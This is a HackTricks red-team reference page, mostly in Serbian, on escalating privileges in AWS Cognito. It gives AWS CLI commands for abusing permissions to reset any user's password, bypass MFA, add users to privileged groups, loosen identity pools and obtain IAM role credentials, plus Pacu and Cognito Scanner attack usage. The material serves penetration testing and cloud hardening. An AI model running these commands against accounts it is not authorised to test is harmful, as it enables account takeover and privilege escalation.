AWS - Cognito Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cognito

Za više informacija o Cognito pogledajte:

AWS - Cognito Enum

Pribavljanje kredencijala iz Identity Pool

Pošto Cognito može dodeliti IAM role credentials i authenticated i unauthenticated users, ako pronađete Identity Pool ID neke aplikacije (trebalo bi da je hardkodovan u njoj) možete dobiti nove kredencijale i time ostvariti privesc (unutar AWS naloga za koji verovatno ranije niste imali nikakve kredencijale).

For more information check this page.

Potential Impact: Direktan privesc na services role pridružene unauth users (i verovatno i onoj pridruženoj auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Sa ovom dozvolom možete grant any cognito role authenticated/unauthenticated korisnicima cognito aplikacije.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Ako cognito aplikacija nema omogućeno korišćenje neautentifikovanih korisnika možda će vam takođe biti potrebna dozvola cognito-identity:UpdateIdentityPool da to omogućite.

Potencijalni uticaj: Direktan privesc na bilo koju cognito role.

cognito-identity:update-identity-pool

Napadač sa ovom dozvolom može, na primer, da podesi Cognito User Pool pod svojom kontrolom ili bilo kog drugog identity providera preko kojeg se može prijaviti kao način pristupa ovom Cognito Identity Pool-u. Zatim, samo login na tom identity provider-u će mu omogućiti pristup konfigurisanom authenticated role u Identity Pool-u.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Takođe je moguće zloupotrebiti ovu dozvolu da omogući basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potencijalni uticaj: Kompromitovanje konfigurisane autentifikovane IAM role unutar identity pool-a.

cognito-idp:AdminAddUserToGroup

Ova dozvola omogućava dodavanje Cognito korisnika u Cognito grupu, zato napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa boljim privilegijama ili različitim IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potencijalni uticaj: Privesc na druge Cognito grupe i IAM role vezane za User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Napadač sa ovim dozvolama može kreirati/ažurirati grupe sa svakom IAM rolom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a i učiniti kompromitovanog korisnika članom te grupe, dobijajući pristup svim tim rolama:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potential Impact: Privesc na druge Cognito IAM role.

cognito-idp:AdminConfirmSignUp

Ova dozvola omogućava potvrdu registracije. Po podrazumevanim podešavanjima, svako može da se prijavi u Cognito aplikacije. Ako je to omogućeno, korisnik može da kreira nalog sa bilo kojim podacima i potvrdi ga ovom dozvolom.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potencijalni uticaj: Indirektni privesc na identity pool IAM role za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije koje omogućavaju potvrđivanje bilo kog naloga.

cognito-idp:AdminCreateUser

Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar user pool-a. Novi korisnik se kreira kao aktiviran, ali će morati da promeni lozinku.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potencijalni uticaj: Direktni privesc ka identity pool IAM role za authenticated users. Indirektni privesc ka drugim funkcionalnostima aplikacije koje mogu da kreiraju bilo kog korisnika

cognito-idp:AdminEnableUser

Ova dozvola može pomoći u veoma retkom slučaju kada napadač pronađe podatke za prijavu onemogućenog korisnika i treba da ponovo omogući nalog.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencijalni uticaj: Indirektno privesc na identity pool IAM role za autentifikovane korisnike i dozvole korisnika ako napadač ima kredencijale za onemogućenog korisnika.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ovo dopuštenje omogućava prijavu pomoću method ADMIN_USER_PASSWORD_AUTH. Za više informacija pogledajte link.

cognito-idp:AdminSetUserPassword

Ovo dopuštenje bi napadaču omogućilo promeniti lozinku bilo kog korisnika, omogućavajući napadaču da se predstavlja kao bilo koji korisnik (koji nema omogućen MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potencijalni uticaj: Direktan privesc na potencijalno bilo kog korisnika, što omogućava pristup svim grupama kojima je taj korisnik član i pristup Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Napadač bi mogao potencijalno zloupotrebiti ovu dozvolu da podesi mobilni telefon koji kontroliše kao SMS MFA korisnika.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Slično prethodnoj, ova dozvola se može koristiti za podešavanje MFA preferencija user pool-a kako bi se zaobišla MFA zaštita.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Moguće je ažurirati user pool da se promeni MFA politika. Pogledaj CLI ovde.

Potencijalni uticaj: Neizravan privesc na potencijalno bilo kog korisnika čije kredencijale napadač zna; ovo može omogućiti zaobilaženje MFA zaštite.

cognito-idp:AdminUpdateUserAttributes

Napadač sa ovom dozvolom može promeniti email, broj telefona ili bilo koji drugi atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u povezanoj aplikaciji.
Ovo omogućava promenu email-a ili broja telefona i njihovo označavanje kao verifikovanih.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potencijalni uticaj: Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji dodeljuje privilegije na osnovu atributa korisnika.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Napadač sa ovom dozvolom mogao bi kreirati novi User Pool Client manje restriktivan od već postojećih. Na primer, novi client bi mogao dozvoliti bilo koji metod za authenticate, ne bi imao any secret, onemogućeno bi bilo token revocation, tokeni bi mogli važiti duže vreme…

Isto se može desiti ako, umesto kreiranja novog clienta, postojeći bude izmenjen.

U command line (or the update one) možete videti sve opcije, proverite!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: Potencijalni indirektni privesc ka autorizovanom korisniku Identity Pool koji se koristi od strane User Pool kreiranjem novog klijenta koji popušta bezbednosne mere i omogućava napadaču da se prijavi koristeći korisnika kojeg je uspeo da kreira.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Napadač bi mogao zloupotrebiti ovu dozvolu da kreira korisnike učitavanjem CSV-a sa novim korisnicima.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(U slučaju da kreirate novi import job možda će vam takođe trebati iam passrole dozvola, nisam to još testirao).

Potencijalni uticaj: Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije koje bi omogućile kreiranje bilo kog korisnika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Napadač bi mogao da kreira novog identity providera kako bi se potom mogao prijaviti preko ovog providera.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potencijalni uticaj: Direktan privesc na identity pool IAM role za authenticated users. Indirektan privesc na druge funkcionalnosti aplikacije koje omogućavaju kreiranje bilo kog korisnika.

cognito-sync:* Analysis

Ovo je veoma uobičajena dozvola po defaultu u rolama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek deluje loše (pogotovo kod AWS), date dozvole nisu preterano korisne iz perspektive napadača.

Ova dozvola omogućava čitanje informacija o Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).
Identity IDs mogu imati dodeljene Datasets, koje su informacije o sesijama (AWS ih definiše kao saved game). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali verovatnoća je prilično niska). Na stranici za enumeraciju možete pronaći kako pristupiti tim informacijama.

Napadač takođe može iskoristiti ove dozvole da se pretplati na Cognito stream koji objavljuje promene na tim dataset-ima ili na lambda koja se okida na cognito događaje. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.

Automatski alati

  • Pacu, the AWS exploitation framework, sada uključuje module “cognito__enum” i “cognito__attack” koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilege escalation zasnovan na izmenjivim custom atributima, iskoristivim identity pool credential-ima, assumable rolama u id tokenima, itd.

Za opis funkcija modula pogledajte deo 2 blog posta. Za instrukcije instalacije pogledajte glavnu Pacu stranicu.

Upotreba

Primer cognito__attack upotrebe za pokušaj kreiranja korisnika i svih privesc vektora protiv zadatog identity pool-a i user pool client-a:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Primer korišćenja cognito__enum za prikupljanje svih user pools, user pool clients, identity pools, users itd. vidljivih u trenutnom AWS nalogu:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući privesc escalation.

Instalacija

$ pip install cognito-scanner

Upotreba

$ cognito-scanner --help

Za više informacija pogledajte https://github.com/padok-team/cognito-scanner

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks